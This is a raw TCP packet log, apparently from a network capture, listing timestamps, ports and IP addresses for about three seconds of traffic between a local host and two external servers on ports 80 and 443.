Nov 12, 2024 15:42:18.466260910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.466298103 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.469718933 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.473512888 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.491476059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.491552114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.491559029 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.491564035 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.491588116 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.491614103 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.519340992 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.533672094 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.536681890 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.536703110 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.562705994 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.565644026 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.575094938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.575107098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.575144053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.575361967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.575376034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.575387955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.575406075 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.575421095 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.581099987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.581110954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.581162930 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.581641912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.581655979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.581667900 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.581685066 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.581705093 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.600624084 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.603132963 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.607460976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.607481003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.607492924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.607522964 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.607542038 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.647334099 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.666002989 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.668920040 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.668942928 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.690578938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.690593958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.690606117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.690666914 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.690716028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.690768003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.690778017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.690787077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.690809965 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.690821886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.692866087 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.695630074 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.696384907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.696396112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.696439028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.696598053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.696609020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.696646929 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.696696043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.696705103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.696741104 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.722022057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.722079039 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.722112894 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.722132921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.722191095 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.722234964 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.722265005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.722302914 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.742717028 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.745546103 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.791340113 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.796585083 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.799350023 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.799369097 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.805608034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.805639029 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.805712938 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.805747032 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.805896997 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.805911064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.805927038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.805936098 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.805952072 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.805965900 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.812028885 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.812086105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.812103987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.812103033 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.812124014 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.812134981 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.822659969 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.830835104 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.837301970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.837318897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.837337971 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.837517977 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.873878956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.877031088 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.879375935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.879431009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.879441977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.879467010 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.879494905 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.919332981 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.921451092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.921471119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.921478033 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.921633959 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.926316977 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.927170038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.927194118 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.927203894 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.927257061 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.927277088 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.929464102 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.929491997 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.952678919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.952697039 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.952708960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.952722073 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.952771902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.952810049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.960519075 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.963530064 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.994895935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.994914055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.994931936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.995033026 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.004987001 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.008069992 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.055330992 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.060419083 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.063395977 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.063417912 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.090874910 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.094249010 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.134882927 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.160825014 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.183569908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183585882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183608055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183619022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183625937 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183643103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183649063 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183654070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183665037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183669090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183681011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183691978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183696985 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183703899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183713913 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183713913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183725119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183729887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183737040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183746099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183748007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183764935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183774948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183784962 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183785915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183794975 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183796883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183809996 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.183810949 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183832884 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.183856010 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.191303968 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.196883917 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.226109982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.226125002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.226319075 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.226969004 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.229882956 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.269537926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.269560099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.269758940 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.274238110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.274274111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.274285078 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.274312019 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.274332047 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.275333881 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.298413038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.298543930 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.298640013 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.298652887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.298665047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.298682928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.298706055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.306364059 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.309350014 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.309370041 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.332654953 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.335783005 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.367198944 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.370172024 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.384511948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.384552956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.384565115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.384601116 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.384638071 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.389451981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.389478922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.389492035 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.389512062 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.389529943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.413870096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.413887978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.413896084 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.414086103 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.415327072 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.439866066 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.443392992 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.443412066 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.463362932 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.466552973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.496659994 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.499692917 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.543334961 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.561208963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561225891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561233044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561238050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561244965 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561249971 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561260939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561265945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561270952 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561276913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561283112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561290026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.561379910 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.561422110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.589143038 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.592674971 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.592708111 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.593095064 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.595139980 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.615490913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.615505934 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.615690947 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.626055002 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.628791094 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.645808935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.645823002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.645829916 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.645838022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.645843983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.645850897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.645977020 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.671327114 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.676388979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.676403999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.676491976 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.737586021 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.741322994 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.741353989 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.743419886 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.756923914 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.759154081 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.760627985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760658979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760670900 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760685921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.760689020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760699987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760705948 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.760713100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760719061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760823011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.760823011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.760966063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.760987043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.761001110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.761023045 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.803339005 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.839766026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.839803934 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.839874983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.870771885 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.876801014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.876877069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.876904011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.876923084 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.876935959 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.876945972 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.876977921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.876993895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.877028942 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.877065897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.877099991 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.880728960 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.880753994 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.882807970 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.892935991 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.895040989 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:19.937783003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.937797070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.937805891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.937853098 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.937886953 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.939327955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:19.992387056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.992399931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.992409945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.992420912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.992432117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:19.992455006 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:19.992494106 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:20.011499882 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:20.014127970 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:20.014163017 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:20.018383026 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:20.020746946 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:20.023009062 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:20.025371075 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:20.051402092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:20.051415920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:20.051426888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:20.051489115 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:20.051516056 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:20.071326017 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.147092104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147106886 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147115946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147125959 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147136927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147154093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147157907 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147170067 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147202969 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147217989 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147258043 CET	80	49794	185.215.113.16	192.168.2.4
